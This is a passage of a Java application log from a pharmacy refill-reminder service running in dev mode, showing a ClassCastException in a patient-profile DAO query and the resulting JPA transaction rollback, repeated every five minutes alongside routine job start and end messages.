at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 08:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 08:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 08:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 08:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 08:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 08:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 08:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 08:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 08:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 08:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 08:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 08:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 08:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 08:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 08:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 08:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 08:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 09:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 09:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 09:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 09:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 09:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 09:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 09:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 09:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 09:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 09:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 09:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 09:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 09:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 09:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 09:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 09:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 09:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 09:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 09:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 09:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 09:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 09:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 09:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 09:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 09:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 09:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 09:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 09:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 09:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 09:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at 